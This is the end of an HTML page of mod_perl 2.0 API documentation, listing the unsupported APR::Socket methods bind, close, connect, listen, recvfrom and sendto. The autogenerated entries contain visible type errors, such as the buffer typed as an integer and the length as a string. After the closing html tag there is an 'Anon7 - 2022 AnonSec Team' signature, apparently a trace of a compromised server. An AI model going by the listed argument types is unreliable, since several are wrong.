<dt><strong><a name="since_2_0_00266" class="item">since: 2.0.00</a></strong>

</dl>
<p>
</p>
<hr />
<h1><a name="unsupported_api">Unsupported API</a></h1>
<p><code>APR::Socket</code> also provides auto-generated Perl interface for a few
other methods which aren't tested at the moment and therefore their
API is a subject to change. These methods will be finalized later as a
need arises. If you want to rely on any of the following methods
please contact the <a href="../../../maillist/dev.html">the mod_perl development mailing list</a> so we can help each other take the steps necessary
to shift the method to an officially supported API.</p>
<p>
</p>
<h2><a name="bind"><a href="../../../lib/pods/perlfunc.html#bind"><code>bind</code></a></a></h2>
<p>META: Autogenerated - needs to be reviewed/completed</p>
<p>Bind the socket to its associated port</p>
<pre>
  <span class="variable">$ret</span> <span class="operator">=</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="keyword">bind</span><span class="operator">(</span><span class="variable">$sa</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>obj: <code>$sock</code>
( <code>APR::Socket object|docs::2.0::api::APR::Socket</code> )</strong>

<dd>
<p>The socket to bind</p>
</dd>
</li>
<dt><strong><a name="sa" class="item">arg1: <code>$sa</code>
( <code>APR::SockAddr object|docs::2.0::api::APR::SockAddr</code> )</a></strong>

<dd>
<p>The socket address to bind to</p>
</dd>
</li>
<dt><strong><a name="ret" class="item">ret: <code>$ret</code> ( integer )</a></strong>

<dt><strong><a name="since_subject_to_change5" class="item">since: subject to change</a></strong>

</dl>
<p>This may be where we will find out if there is any other process
using the selected port.</p>
<p>
</p>
<h2><a name="close"><a href="../../../lib/pods/perlfunc.html#close"><code>close</code></a></a></h2>
<p>META: Autogenerated - needs to be reviewed/completed</p>
<p>Close a socket.</p>
<pre>
  <span class="variable">$ret</span> <span class="operator">=</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="keyword">close</span><span class="operator">();</span>
</pre>
<dl>
<dt><strong>obj: <code>$sock</code>
( <code>APR::Socket object|docs::2.0::api::APR::Socket</code> )</strong>

<dd>
<p>The socket to close</p>
</dd>
</li>
<dt><strong>ret: <code>$ret</code> ( integer )</strong>

<dt><strong><a name="since_subject_to_change6" class="item">since: subject to change</a></strong>

</dl>
<p>
</p>
<h2><a name="connect"><a href="../../../lib/pods/perlfunc.html#connect"><code>connect</code></a></a></h2>
<p>META: Autogenerated - needs to be reviewed/completed</p>
<p>Issue a connection request to a socket either on the same machine
or a different one.</p>
<pre>
  <span class="variable">$ret</span> <span class="operator">=</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="keyword">connect</span><span class="operator">(</span><span class="variable">$sa</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>obj: <code>$sock</code>
( <code>APR::Socket object|docs::2.0::api::APR::Socket</code> )</strong>

<dd>
<p>The socket we wish to use for our side of the connection</p>
</dd>
</li>
<dt><strong>arg1: <code>$sa</code>
( <code>APR::SockAddr object|docs::2.0::api::APR::SockAdrr</code> )</strong>

<dd>
<p>The address of the machine we wish to connect to.  If NULL,
APR assumes that the sockaddr_in in the apr_socket is
completely filled out.</p>
</dd>
</li>
<dt><strong>ret: <code>$ret</code> ( integer )</strong>

<dt><strong><a name="since_subject_to_change7" class="item">since: subject to change</a></strong>

</dl>
<p>
</p>
<h2><a name="listen"><a href="../../../lib/pods/perlfunc.html#listen"><code>listen</code></a></a></h2>
<p>META: Autogenerated - needs to be reviewed/completed</p>
<p>Listen to a bound socket for connections.</p>
<pre>
  <span class="variable">$ret</span> <span class="operator">=</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="keyword">listen</span><span class="operator">(</span><span class="variable">$backlog</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>obj: <code>$sock</code>
( <code>APR::Socket object|docs::2.0::api::APR::Socket</code> )</strong>

<dd>
<p>The socket to listen on</p>
</dd>
</li>
<dt><strong><a name="backlog" class="item">arg1: <code>$backlog</code> ( integer )</a></strong>

<dd>
<p>The number of outstanding connections allowed in the sockets
listen queue.  If this value is less than zero, the listen
queue size is set to zero.</p>
</dd>
</li>
<dt><strong>ret: <code>$ret</code> ( integer )</strong>

<dt><strong><a name="since_subject_to_change8" class="item">since: subject to change</a></strong>

</dl>
<p>
</p>
<h2><a name="recvfrom"><code>recvfrom</code></a></h2>
<p>META: Autogenerated - needs to be reviewed/completed</p>
<pre>
  <span class="variable">$ret</span> <span class="operator">=</span> <span class="variable">$from</span><span class="operator">-&gt;</span><span class="variable">recvfrom</span><span class="operator">(</span><span class="variable">$sock</span><span class="operator">,</span> <span class="variable">$flags</span><span class="operator">,</span> <span class="variable">$buf</span><span class="operator">,</span> <span class="variable">$len</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong><a name="from" class="item">obj: <code>$from</code>
( <code>APR::SockAddr object|docs::2.0::api::APR::SockAddr</code> )</a></strong>

<dd>
<p>The apr_sockaddr_t to fill in the recipient info</p>
</dd>
</li>
<dt><strong>arg1: <code>$sock</code>
( <code>APR::SockAddr object|docs::2.0::api::APR::SockAddr</code> )</strong>

<dd>
<p>The socket to use</p>
</dd>
</li>
<dt><strong><a name="flags" class="item">arg2: <code>$flags</code> ( integer )</a></strong>

<dd>
<p>The flags to use</p>
</dd>
</li>
<dt><strong>arg3: <code>$buf</code> ( integer )</strong>

<dd>
<p>The buffer to use</p>
</dd>
</li>
<dt><strong>arg4: <code>$len</code> ( string )</strong>

<dd>
<p>The length of the available buffer</p>
</dd>
</li>
<dt><strong>ret: <code>$ret</code> ( integer )</strong>

<dt><strong><a name="since_subject_to_change9" class="item">since: subject to change</a></strong>

</dl>
<p>
</p>
<h2><a name="sendto"><code>sendto</code></a></h2>
<p>META: Autogenerated - needs to be reviewed/completed</p>
<pre>
  <span class="variable">$ret</span> <span class="operator">=</span> <span class="variable">$sock</span><span class="operator">-&gt;</span><span class="variable">sendto</span><span class="operator">(</span><span class="variable">$where</span><span class="operator">,</span> <span class="variable">$flags</span><span class="operator">,</span> <span class="variable">$buf</span><span class="operator">,</span> <span class="variable">$len</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>obj: <code>$sock</code>
( <code>APR::Socket object|docs::2.0::api::APR::Socket</code> )</strong>

<dd>
<p>The socket to send from</p>
</dd>
</li>
<dt><strong><a name="where" class="item">arg1: <code>$where</code>
( <code>APR::Socket object|docs::2.0::api::APR::Socket</code> )</a></strong>

<dd>
<p>The apr_sockaddr_t describing where to send the data</p>
</dd>
</li>
<dt><strong>arg2: <code>$flags</code> ( integer )</strong>

<dd>
<p>The flags to use</p>
</dd>
</li>
<dt><strong>arg3: <code>$buf</code> ( scalar )</strong>

<dd>
<p>The data to send</p>
</dd>
</li>
<dt><strong>arg4: <code>$len</code> ( string )</strong>

<dd>
<p>The length of the data to send</p>
</dd>
</li>
<dt><strong>ret: <code>$ret</code> ( integer )</strong>

<dt><strong><a name="since_subject_to_change10" class="item">since: subject to change</a></strong>

</dl>
<p>
</p>
<hr />
<h1><a name="see_also">See Also</a></h1>
<p><a href="../../../docs/2.0/index.html">mod_perl 2.0 documentation</a>.</p>
<p>
</p>
<hr />
<h1><a name="copyright">Copyright</a></h1>
<p>mod_perl 2.0 and its core modules are copyrighted under
The Apache Software License, Version 2.0.</p>
<p>
</p>
<hr />
<h1><a name="authors">Authors</a></h1>
<p><a href="../../../about/contributors/people.html">The mod_perl development team and numerous contributors</a>.</p>

</body>

</html>

Anon7 - 2022
AnonSec Team